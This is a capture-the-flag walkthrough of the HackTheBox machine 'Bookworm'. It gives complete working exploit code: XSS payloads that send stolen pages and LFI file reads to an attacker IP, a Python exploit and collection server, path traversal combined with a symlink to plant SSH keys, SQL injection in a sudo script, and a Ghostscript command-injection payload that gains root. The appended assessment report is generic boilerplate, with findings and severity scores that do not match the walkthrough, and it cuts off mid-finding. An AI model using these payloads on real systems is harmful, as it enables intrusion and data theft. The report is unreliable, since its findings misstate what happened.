HackTheBox: Bookworm — Medium (Linux)

Full security assessment walkthrough for Bookworm on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Bookworm
HackTheBox
Linux Medium

📌 Introduction

Bookworm

Untitled
Untitled

🔖 Techniques & Vulnerabilities

xsssqlicommand injectionrcelfipath traversalfile uploadsudoidorarbitrary file read

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshsyn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcphttpsyn-ack nginx 1.18.0 (Ubuntu)
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens

📖 Walkthrough

nmap

    PORT   STATE SERVICE REASON  VERSION
    22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   3072 81:1d:22:35:dd:21:15:64:4a:1f:dc:5c:9c:66:e5:e2 (RSA)
    | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJFj5rM4cLScsJ6ppJO9IxEYpw0bXXh9woF65DRqAjYu0/zJDURGEjP5B7YjB/J/HS4KsCtxSpvfLeO+PRNPlDkEkXyqNK2ZA8Vl+pHUyYFgYM/GYsIwFPg+Du2NU80GAg/qA+QMagKyhBDcUyhxWCFsb5n27xiGk+s8wQzJu82BBU2mRbN+fS9Z6Vu+ien9iAB7gwFlNC6vVGrl6AZbopuzDj2KD5TVB5qF9jG2kaKKftH7xZ2G/1Ql+VNQZ3XB/TJZS/wtUTgpsNNZfFGfAmzruSqmAhy6rmnl9qV6D/8JX+Fnie84iuURHT/uSHyQmEtjYeYxNhulaXs3iKm+A+E0RpbhQiuxEHmlAEmN78lGpNeDvaqWzM88G4bonMiAbJqHh3FX7E5wlsYE0G3qGV8Khk2jdMydLvqbJB2xMbYE1HE5tek/2g/OmUudWBWXWhk/uNMSRr3U8s/WEu0kGhbrFUkGbQHu4+Fui4Gm1TRwk2Mv+Jyi72pOHi2j43bHc=
    |   256 01:f9:0d:3c:22:1d:94:83:06:a4:96:7a:01:1c:9e:a1 (ECDSA)
    | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGgMJ/I1ptV34IVNgJcPqNq9N9IDAKSGVknIXSeLjxwtgbYXJCcPaxIaoKrUySxDakTdPX69Xm5cqzAe1tt/wLA=
    |   256 64:7d:17:17:91:79:f6:d7:c4:87:74:f8:a2:16:f7:cf (ED25519)
    |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKJXHOUfa1ZogImXoMvvAgO9Y9QN0st0mrynZutcKR+A
    80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    |_http-title: Bookworm
    | http-methods:
    |_  Supported Methods: GET HEAD POST OPTIONS
    ```
    

### Wappalyzer

- Web framework: Express
- Programming languages: Node.js
- Web Servers: Ngnix 1.18.0

## Fuzzing
### Dirsearch

[21:36:15] 302 - 28B - /download/history.csv -> /login [21:36:15] 302 - 28B - /download/users.csv -> /login [21:36:28] 200 - 2KB - /login/ [21:36:28] 200 - 2KB - /login [21:36:29] 302 - 23B - /logout -> / [21:36:29] 302 - 23B - /logout/ -> / [21:36:39] 302 - 28B - /profile -> /login [21:36:41] 200 - 3KB - /register [21:36:44] 200 - 11KB - /shop [21:36:46] 301 - 179B - /static -> /static/


### Order ID

- `wfuzz -w num.lst -u [http://bookworm.htb/order/FUZZ](http://bookworm.htb/order/FUZZ) -b 'session=eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==; session.sig=tLkyWFPMf7F6gRSqT3TYpWYSCl0' --hc 302`

Only found my order ID

## Seasion Cookie
```json
{"flashMessage":{},"user":{"id":14,"name":"test","avatar":"/static/img/uploads/14"}}

We cant change values.

Functions

File Upload

When we upload a image or any file (no type or name check) it goes to /static/img/uploads/<user id> the file names is the userid → 14

IDOR

We can change book notes in the basket from other users.

  • /basket/443/edit

The nummber stands for an book in the basket. We can fuzz this and send any post request with content, to change the notes.

We can find this nummber, in the /shop side, it tracks the users activity and log the nummber as comment. <!-- 1439 -->

<div class="row mb-2">
            <!-- 1439 -->
            <div class="col-3"><img class="img-fluid" src="/static/img/uploads/6"/></div>
            <div class="col-9"><strong>Sally Smith</strong> just added <a href="/shop/10">$1,000 a Plate</a> to their basket!<p class="mb-0 text-muted">just now</p></div>
            
        </div>

XSS

We can inject a <script>alert(1)<script> in the book notes from the basket.

After viewing Order, we get a error from the CSP

CSP - Bypass

Content-Security-Policy: script-src 'self'
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.

We can bypass the CSP with the Avater file upload.

Upload a file test.png with this contnet.

var http=new XMLHttpRequest(); 
http.open('GET', 'http://10.10.14.20/?xss=' + btoa(document.body.innerHTML), true);
http.send();

We can find the file at http://bookworm.htb/static/img/uploads/14

Now we can add the url to the xss payload to execute the code in the file.

<script src="http://bookworm.htb/static/img/uploads/14"></script>

because the url comes form the host (self) the CSP dont trigger.

XSS to CSRF

Download

Find on the /oder/16 from other users.

http://bookworm.htb/download/16?bookIds=21

There are some users that trigger the payload, when buying a book.

  1. Read the /profile page from the users to get the orderId
  2. read the /order/<oderId> page to see the /download function

LFI via secound URL-Parameter

When we send a request to

  • http://bookworm.htb/download/16?bookIds=21

fom a user via the XSS

Error
Not Found

When we try to read files

  • http://bookworm.htb/download/16?bookIds=../../../../../../../etc/passwd
Error
Forbidden

So we cant simply inject in the bookIds URL-Paramter.

In one of the order pages like /order/2 we can find a download path with two bookIds, because the users can download all books at the sime time.

When we send the payload and get the content from this get requst

  • http://bookworm.htb/download/<oderId from the user>?bookIds=.&bookIds=../../../../../../../etc/passwd

we get nothing back or a normal /profile page…

Final Scripts for JavaScript Payload and Attack-Server

First we need a JavaScript code, that get the orderId from the target user that trigger the xss. Secound we send a requst to the /download with the LFI.

The Attack-Sever get the response back. Because of the download function, we get a file back (ZIP-File) so the server needs to safe the data in a temp file.

Server.py

#!/usr/bin/python3
from http.server import SimpleHTTPRequestHandler, HTTPServer
import random
from urllib.parse import urlparse, parse_qs

port = 8099

class RequestHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        # print(self.headers)
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])
        # Handle POST request here
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        # if post_data.decode().isprintable():
        # print(f'POST data: {post_data.decode()}')
        # else:
        filename = 'temp' + str(random.randint(0, 9999))
        with open(filename,'wb') as f:
            f.write(post_data)
        print("Non ascii characters detected!! Content written to ./{} file instead.".format(filename))
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b'POST request received')

def do_GET(self):
    # print(self.headers)
    parsed_url = urlparse(self.path)
    query_params = parse_qs(parsed_url.query)
    if 'url' in query_params:
        print(query_params['url'][0])
    SimpleHTTPRequestHandler.do_GET(self)

def run_server():
    server_address = ('', port)
    httpd = HTTPServer(server_address, RequestHandler)
    print(f'Server running on http://localhost:{port}')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print('Server stopped')
    
if __name__ == '__main__':
    run_server()

Payload.js

(only the javascript code, this is a string in the exploit.py)

function get_orders(html_page){
    // Create a new DOMParser instance
    const parser = new DOMParser();
    // HTML string to be parsed
    const htmlString = html_page;
    // Parse the HTML string
    const doc = parser.parseFromString(htmlString, 'text/html');
    // Find all the anchor tags within the table body
    const orderLinks = doc.querySelectorAll('tbody a');
    // Extract the URLs and store them in an array
    const orderUrls = Array.from(orderLinks).map((link) =>
    link.getAttribute('href'));
    // Returns an array of paths to orders
    return orderUrls;
}    

function getDownloadURL(html) {
    // Create a temporary container element to parse the HTML
    const container = document.createElement('div');
    container.innerHTML = html;
    // Use querySelector to select the download link element
    const downloadLink = container.querySelector('a[href^="/download"]');
    // Extract the download URL
    // const downloadURL = downloadLink ? downloadLink.href : null;
    const downloadURL = downloadLink ? downloadLink.href.substring(0,
    downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../../etc/passwd" : null;
    // Return a complete url to fetch the download item
    return downloadURL;
}

function fetch_url_to_attacker(url){
    var attacker = "http://10.10.14.47:8099/?url=" + encodeURIComponent(url);
    fetch(url).then(
        async response=>{
            fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
            }
        );
}

function get_pdf(url){
    // will fetch the PDF (takes the downloadURL as argument) and send its content to my server
    fetch(url).then(
        async response=>{
        fetch_url_to_attacker(getDownloadURL(await response.text()));
    })
}
fetch("http://10.10.14.47:8099/?trying")
fetch("http://bookworm.htb/profile").then(
    async response=>{
        for (const path of get_orders(await response.text())){
            //fetch_url_to_attacker("http://bookworm.htb" + path);
            get_pdf("http://bookworm.htb" + path);
        }
    }
)

Exploit.py

the script can read the /profile page to run ./exploit.py profile

Read files run ./exploit.py /etc/passwd

#!/usr/bin/python3
import requests, sys, time
from bs4 import BeautifulSoup as BS
from bs4 import Comment
import time

user_id = "14"
cookie = "eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==;xFXaoDiEji4nxaMms04qcaK-KQo"
c = cookie.split(";")
cookies = {
    'session': c[0],
    'session.sig': c[1]
}
proxies = {}
try:
    if sys.argv[2] == "proxy":
        proxies = {'http': 'http://127.0.0.1:8080'}
except: 
    pass
try:
   SIDE = sys.argv[1]
   file = sys.argv[1]
except:
    SIDE = ""

def read_profile_payload():
    payload = '''
    var url = "http://bookworm.htb/profile";
    var attacker = "http://10.10.14.47/exfil";
    var xhr  = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
        }
    }
    xhr.open('GET', url, true);
    xhr.send(null);
    '''
    return payload

def get_download_content():
    payload = """
function get_orders(html_page){
    // Create a new DOMParser instance
    const parser = new DOMParser();
    // HTML string to be parsed
    const htmlString = html_page;
    // Parse the HTML string
    const doc = parser.parseFromString(htmlString, 'text/html');
    // Find all the anchor tags within the table body
    const orderLinks = doc.querySelectorAll('tbody a');
    // Extract the URLs and store them in an array
    const orderUrls = Array.from(orderLinks).map((link) =>
    link.getAttribute('href'));
    // Returns an array of paths to orders
    return orderUrls;
}    

function getDownloadURL(html) {
    // Create a temporary container element to parse the HTML
    const container = document.createElement('div');
    container.innerHTML = html;
    // Use querySelector to select the download link element
    const downloadLink = container.querySelector('a[href^="/download"]');
    // Extract the download URL
    // const downloadURL = downloadLink ? downloadLink.href : null;
    const downloadURL = downloadLink ? downloadLink.href.substring(0,
    downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../.."""+file+"""" : null;
    // Return a complete url to fetch the download item
    return downloadURL;
}

function fetch_url_to_attacker(url){
    var attacker = "http://10.10.14.47:8099/?url=" + encodeURIComponent(url);
    fetch(url).then(
        async response=>{
            fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
            }
        );
}

function get_pdf(url){
    // will fetch the PDF (takes the downloadURL as argument) and send its content to my server
    fetch(url).then(
        async response=>{
        fetch_url_to_attacker(getDownloadURL(await response.text()));
    })
}
fetch("http://10.10.14.47:8099/?trying")
fetch("http://bookworm.htb/profile").then(
    async response=>{
        for (const path of get_orders(await response.text())){
            //fetch_url_to_attacker("http://bookworm.htb" + path);
            get_pdf("http://bookworm.htb" + path);
        }
    }
)
"""
    return payload

def craft_payload():
    if SIDE == "profile":
        return read_profile_payload()
    else:
        return get_download_content()

def upload_payload(user_id, payload, cookies):
    headers = {
        'Host': 'bookworm.htb',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygDOQYUG9r4vVpe0O',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'Origin': 'http://bookworm.htb',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Referer': 'http://bookworm.htb/profile',
        'Accept-Language': 'en-US,en;q=0.9',
        'Connection': 'close',
    }
    data = f'------WebKitFormBoundarygDOQYUG9r4vVpe0O\r\nContent-Disposition: form-data; name="avatar"; filename="test.png"\r\nContent-Type: image/png\r\n\r\n{payload}\n\r\n------WebKitFormBoundarygDOQYUG9r4vVpe0O--\r\n'

    r = requests.post('http://bookworm.htb/profile/avatar', cookies=cookies, proxies=proxies, headers=headers, data=data, verify=False)
    print("-------------------------")
    r = requests.get(f'http://bookworm.htb/static/img/uploads/{user_id}', cookies=cookies, proxies=proxies)
    print(r.text.strip())
    print("-------------------------")

def get_shop(cookies):
    r = requests.get(f'http://bookworm.htb/shop',proxies=proxies, cookies=cookies)
    soup = BS(r.text, 'html.parser')
    comments = soup.find_all(string=lambda text: isinstance(text, Comment))
    item = soup.find_all(lambda tag: tag.name == 'div' and tag.get('class') == ['col-9'])
    return comments, item

def get_timestemp():
    current_time = time.localtime()
    timestemp = time.strftime("%I:%m:%S", current_time)
    return timestemp

def get_infos(cookies):
    note_ids = []
    target = ""
    comments = []
    item = []
    start = get_timestemp()
    while not len(comments) >= 3:
        comments, item = get_shop(cookies)
        timestamp = get_timestemp()
        time.sleep(1)
        print(f"\r {start} --Wait for Target-- {timestamp}", end="\r")
    print("")
    target = item[1].find("strong").text
    for c in comments:
        c = c.strip()
        if c.isdigit():
            note_ids.append(c)
    print(f"[>] {target} = {note_ids}")
    return target.strip(), note_ids

def place_payload(user_id, note_id, cookies):
    headers = {
        'Host': 'bookworm.htb',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'Origin': 'http://bookworm.htb',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Referer': 'http://bookworm.htb/basket',
        'Accept-Language': 'en-US,en;q=0.9',
        'Connection': 'close',
    }
    for note_id in note_ids:
        data = {
            'quantity': '1',
            'note': f'<script src="http://bookworm.htb/static/img/uploads/{user_id}"></script>',
        }
        r = requests.post(f'http://bookworm.htb/basket/{note_id}/edit',proxies=proxies, cookies=cookies, headers=headers, data=data, verify=False)
        print(f"[>>] Write: {note_id} - ({r.status_code})")

def check_trigger(cookies):
    comments = [0,0,0]
    start = get_timestemp()
    while not len(comments) <= 1:
        comments, item = get_shop(cookies)
        timestamp = get_timestemp()
        time.sleep(1)
        print(f"\r {start} --Wait for Trigger-- {timestamp}", end="\r")
    print("")
    print("-> XSS Triggerd")

target, note_ids = get_infos(cookies)
list_payload = craft_payload() 
upload_payload(user_id, list_payload, cookies)
place_payload(user_id, note_ids, cookies)

check_trigger(cookies)

After running the server.py and the exploit.py, we get some tempXXX files back.

Every user have 3 vaild orderIds that can be used for the /download function and LFI. So the content of the LFI file is in three of the tempXXX files.

Read imporant local files

Now, if we read /proc/self/cmdline we can see that it is running /usr/bin/node index.js , so

we know that the application source code is inside index.js file.

  • unzip -l temp4970
Archive:  temp4970
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2023-05-03 15:34   Unknown.pdf/
       23  2023-05-28 17:33   Unknown.pdf
---------                     -------
       23                     2 files
  • unzip -p temp4970 Unknown.pdf
/usr/bin/nodeindex.js

Using /proc/self/cwd/index.js we can get the source code

#SNIP#
const { flash } = require("express-flash-message");
const { sequelize, User, Book, BasketEntry, Order, OrderLine } = require("./database");
const { hashPassword, verifyPassword } = require("./utils");
#SNIP#

After inspecting it, we see that there is a require("./database") at the top, so we inspect the

file called database.js ( /proc/self/cwd/database.js ) and we see the password for user frank.

#SNIP# 
const sequelize = new Sequelize(
  process.env.NODE_ENV === "production"
    ? {
        dialect: "mariadb",
        dialectOptions: {
          host: "127.0.0.1",
          user: "bookworm",
          database: "bookworm",
          password: "FrankTh3JobGiver",
        },
	  logging: false,
      }
    : "sqlite::memory::"
);
#SNIP#

SSH login

frank : FrankTh3JobGiver

uid=1001(frank) gid=1001(frank) groups=1001(frank)

→ user.txt

Lateral Movement

We in the home folder from neil, we have the folder converter . This is the express web app that runs on local port 3001.

Download the /home/neil/converter/index.js

Port forward

Kali: sudo ./chisel server --reverse --port 5000

Box: ./chisel client 10.10.14.24:5000 R:3001:127.0.0.1:3001

const express = require("express");
const nunjucks = require("nunjucks");
const fileUpload = require("express-fileupload");
const path = require("path");
const { v4: uuidv4 } = require("uuid");
const fs = require("fs");
const child = require("child_process");

const app = express();
const port = 3001;

nunjucks.configure("templates", {
  autoescape: true,
  express: app,
});

app.use(express.urlencoded({ extended: false }));
app.use(
  fileUpload({
    limits: { fileSize: 2 * 1024 * 1024 },
  })
);

const convertEbook = path.join(__dirname, "calibre", "ebook-convert");

app.get("/", (req, res) => {
  const { error } = req.query;

  res.render("index.njk", { error: error === "no-file" ? "Please specify a file to convert." : "" });
});

app.post("/convert", async (req, res) => {
  const { outputType } = req.body;

  if (!req.files || !req.files.convertFile) {
    return res.redirect("/?error=no-file");
  }

  const { convertFile } = req.files;

  const fileId = uuidv4();
  const fileName = `${fileId}${path.extname(convertFile.name)}`;
  const filePath = path.resolve(path.join(__dirname, "processing", fileName));
  await convertFile.mv(filePath);

  const destinationName = `${fileId}.${outputType}`;
  const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));

  console.log(filePath, destinationPath);

  const converter = child.spawn(convertEbook, [filePath, destinationPath], {
    timeout: 10_000,
  });

  converter.on("close", (code) => {
    res.sendFile(path.resolve(destinationPath));
  });
});

app.listen(port, "127.0.0.1", () => {
  console.log(`Development converter listening on port ${port}`);
});

We can upload a file and get a new file for the download. We can convert pdf to epub for example.

We see the POST parameter outputType is not validated, so we can inject some path traversal.

We can read and write other files like

  • /../../../../../../tmp/test.txt

But the function crate a folder when the file have now extension!

So this crate the folder authorized_keys but not the file !!!

  • /../../../../../../home/neil/.ssh/authorized_keys

To create a authorizedkeys as a file, we can place a symlink file with frank that write to the authorizedkeys .

  1. make a folder like /dev/shm/test and run chmod 777 authorized_keys
  2. place the symlink file ln -s /home/neil/.ssh/authorized_keys /dev/shm/test/ssh.txt
  3. write the public ssh key to the symlik file via download.
  • /../../../../../../dev/shm/test/ssh.txt
  • POST request

``` POST /convert HTTP/1.1 Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundaryNAAjYWUAsRMZAAB7 Content-Disposition: form-data; name="convertFile"; filename="test.txt" Content-Type: text/plain

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiGr6HorAOg7nBCwrzj3A9AIKvprS5LtXMtaex0avsiBlB3AidTTMqAjY9TLC/QXEwYGHB3VZZwIshTlcIT2XlBJbBPSujc5x4QA3klHUVhFZVEAFdFusTbf1ZHV5Sxxz+P9CzdYBYNZV9gdMPoxbYypMmioLpSAN5dJ5kpSgiI3qGgKZFNZndYvyEoVNwLZSI6iHoCZd2N6xViLkqsVZcnxo1iSrIIXmK1Dh0l206ilkMye3UT7ONO7Unc2ZEQQVBqMDT5EWJ0F/n+rmXSwmX4EIkLOTYiuVh2igp/Q6jGufK0W2SQYUypAbY+6UB2La5y5roM7u52HixEYPQGPQLyTIWH80yOU/OrTAh8eALvYV4KW3PDOPw5rLFff0vYoszHTZzeWMB5jsbKN+0nsHV/5zqQo37sKXrq+1PukG3CIJduLg1oOrtDNBbX0EAF6DTFGH2uCEHKrgqAnxka33wYQDHRh6kq7+HcXIo+xik8mAoFd7/uL4yPsX0Eysgh6M= kali@kali

------WebKitFormBoundaryNAAjYWUAsRMZAAB7 Content-Disposition: form-data; name="outputType"

/../../../../../../dev/shm/test/ssh.txt

------WebKitFormBoundaryNAAjYWUAsRMZAAB7-- ```

After we get a 200. we can login via ssh

uid=1002(neil) gid=1002(neil) groups=1002(neil)

Priv Esc

  • sudo -l
User neil may run the following commands on bookworm:
    (ALL) NOPASSWD: /usr/local/bin/genlabel
#!/usr/bin/env python3
import mysql.connector
import sys
import tempfile
import os
import subprocess
with open("/usr/local/labelgeneration/dbcreds.txt", "r") as cred_file:
    db_password = cred_file.read().strip()
cnx = mysql.connector.connect(user='bookworm', password=db_password,
                              host='127.0.0.1',
                              database='bookworm')
if len(sys.argv) != 2:
    print("Usage: genlabel [orderId]")
    exit()
try:
    cursor = cnx.cursor()
    query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = 1%s" % sys.argv[1]
    cursor.execute(query)
    temp_dir = tempfile.mkdtemp("printgen")
    postscript_output = os.path.join(temp_dir, "output.ps")
    # Temporary until our virtual printer gets fixed
    pdf_output = os.path.join(temp_dir, "output.pdf")
    with open("/usr/local/labelgeneration/template.ps", "r") as postscript_file:
        file_content = postscript_file.read()
    generated_ps = ""
    print("Fetching order...")
    for (name, address_line_1, address_line_2, town, postcode, order_id, user_id) in cursor:
        file_content = file_content.replace("NAME", name) \
                        .replace("ADDRESSLINE1", address_line_1) \
                        .replace("ADDRESSLINE2", address_line_2) \
                        .replace("TOWN", town) \
                        .replace("POSTCODE", postcode) \
                        .replace("ORDER_ID", str(order_id)) \
                        .replace("USER_ID", str(user_id))
    print("Generating PostScript file...")
    with open(postscript_output, "w") as postscript_file:
        postscript_file.write(file_content)
    print("Generating PDF (until the printer gets fixed...)")
    output = subprocess.check_output(["ps2pdf", "-dNOSAFER", "-sPAPERSIZE=a4", postscript_output, pdf_output])
    if output != b"":
        print("Failed to convert to PDF")
        print(output.decode())
    print("Documents available in", temp_dir)
    os.chmod(postscript_output, 0o644)
    os.chmod(pdf_output, 0o644)
    os.chmod(temp_dir, 0o755)
    # Currently waiting for third party to enable HTTP requests for our on-prem printer
    # response = requests.post("http://printer.bookworm-internal.htb", files={"file": open(postscript_output)})
except Exception as e:
    print("Something went wrong!")
    print(e)
cnx.close()

We can inject into the sqlstatement !

SQLi Error Based and Union Select

Union select:

  • sudo /usr/local/bin/genlabel "0 union select version(),2,3,4,5,6,7"

The output is in the /tmp/tmp4pi89brfprintgen/output.ps

Error Based:

  • sudo /usr/local/bin/genlabel "(SELECT*FROM(SELECT(nameconst(version(),1)),nameconst(version(),1))a)"
(42S21): Duplicate column name '10.3.38-MariaDB-0ubuntu0.20.04.1'

Dump wit sqlmap - optional

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/sqli')
def sqli():
    ssh = 'sshpass ssh [email protected] -i /home/kali/.ssh/id_rsa'
    cmd_out = os.popen(f"{ssh} -C \"sudo /usr/local/bin/genlabel '{request.args['payload']}'\"").read()
    if '/tmp/' in cmd_out:
        return os.popen(f"{ssh} -C \"cat '{cmd_out[-25:].strip()}/output.ps'\"").read()
    else:
        return cmd_out

if __name__ == '__main__':
    app.run(debug=True, port=1337)
---
Parameter: payload (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: payload=10 AND EXTRACTVALUE(6115,CONCAT(0x5c,0x716a707171,(SELECT (ELT(6115=6115,1))),0x716a7a7871))

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns (custom)
    Payload: payload=-58350 UNION ALL SELECT 65,65,65,65,65,CONCAT(0x716a707171,0x666e56547a72594a6b704d684c7379566a744c496a58636f6964515874416664646f6f7177476572,0x716a7a7871),65-- -
---
sqlmap -u 'http://127.0.0.1:1337/?payload=1' --technique=E --batch -D bookworm --tables

+---------------+
| BasketEntries |
| Books         |
| OrderLines    |
| Orders        |
| Users         |
+---------------+

sqlmap -u 'http://127.0.0.1:1337/?payload=1' --technique=E --batch -D bookworm -T Users -C username,password --dump

+--------------+----------------------------------+
| username     | password                         |
+--------------+----------------------------------+
| jakub1993    | 1fd17f5623370abe7ba9929f7b2b7982 |
| bubbler1984  | 23d8ad788147bab0b3e50c58d0d0ca7f |
| sallysmithy  | 254aa41454d9626e7716ea48e9169dbf |
| angussy      | 4f6b9a1f7a17192ea81489dbf920c1c2 |
| totalsnack   | cb9774805ece216aebe01e90f5379995 |
| awawawawawaw | f7d840d46c7511b491d84e523260456d |
+--------------+----------------------------------+

sqlmap -u 'http://127.0.0.1:1337/?payload=1' --technique=E --batch --sql-query="user()"

Ghostscript ps2pdf RCE — CVE-2023-36664

CVE-2023-36664: Command injection with Ghostscript PoC + exploit - vsociety

We can inject data into the .ps file that gets executed from the ps2pdf

output = subprocess.check_output(["ps2pdf", "-dNOSAFER", "-sPAPERSIZE=a4", postscript_output, pdf_output])

We can the input id 0, that give no values from the variables back, so we can overwrite them with union select.

  • sudo /usr/local/bin/genlabel "0 union select ')\n(%pipe%id > /dev/shm/root) (w) file /DCTDecode filter\n(foobar' as name, 'foobar' as addressLine1, 'foobar' as addressLine2, 'foobar' as town, 'foobar' as postcode, 0 as orderId, 1 as userId;"

We see the root file!

→ root.txt

Also we can write files like the authorized_keys for root.

  • sudo /usr/local/bin/genlabel "0 union select') show\n/root/.ssh (w) file /root/.ssh/authroizedkeys exch def\n/root/.ssh/authroizedkeys (<ssh-rsa ...>) writestring\n/root/.ssh/authroized_keys closefile\n(foobar' as name, 'foobar' as addressLine1, 'foobar' as addressLine2, 'foobar' as town, 'foobar' as postcode, 0 as orderId, 1 as userId;"

And login via ssh


Chrom Remote Debugging Port - File Read — unintended way

Chrome Debugger Arbitrary File Read

After logging in, we can see, using ps aux , root running chrome with remote debugging port set to 0. A value of 0 for the --remote-debugging-port flag indicates that Chrome should choose a random available port for remote debugging each time it starts. This allows multiple instances of Chrome to run simultaneously without conflicts.

  • ps -aux | grep chrom
root       13462  0.7  3.3 1185800160 135384 ?   Sl   15:26   0:00 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=13428 --no-sandbox --disable-dev-shm-usage --disable-background-timer-throttling --disable-breakpad --enable-automation --force-color-profile=srgb --remote-debugging-port=0 --allow-pre-commit-input --ozone-platform=headless --disable-databases --disable-gpu-compositing --enable-blink-features=IdleDetection --lang=en-US --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1685356838683380 --launch-time-ticks=17125352034 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,5919309595080643966,4438090446638180176,262144 --enable-features=Network

We can use netstat to get the open port, and we can easly identify the one we're looking for since it will be a high random number. Then we port forward the port using SSH to our local machine.

  • netstat -tulp
tcp        0      0 localhost:34999         0.0.0.0:*               LISTEN      -

Info: The port change after the ssh logout and login.

Open a new ssh connection with port tunnel

MSF

  • use gather/chrome_debugger
  • set rhosts 127.0.0.1
  • set lport 34999
  • set filepath /root/root.txt
  • run
[*] Running module against 127.0.0.1
[*] Attempting Connection to ws://127.0.0.1:38373/devtools/page/E6093851EB436C85EBCA52032F508614
[*] Opened connection
[*] Attempting to load url file:///root/root.txt
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///root/root.txt at /root/.msf4/loot/20230529172447_default_127.0.0.1_chrome.debugger._986465.txt
[*] Auxiliary module execution completed

We can find the content of the flag in

  • /root/root.txt at /root/.msf4/loot/20230529172447default127.0.0.1chrome.debugger.986465.txt

→ root.txt

📋 Security Assessment Report

2
Critical
5
High
1
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

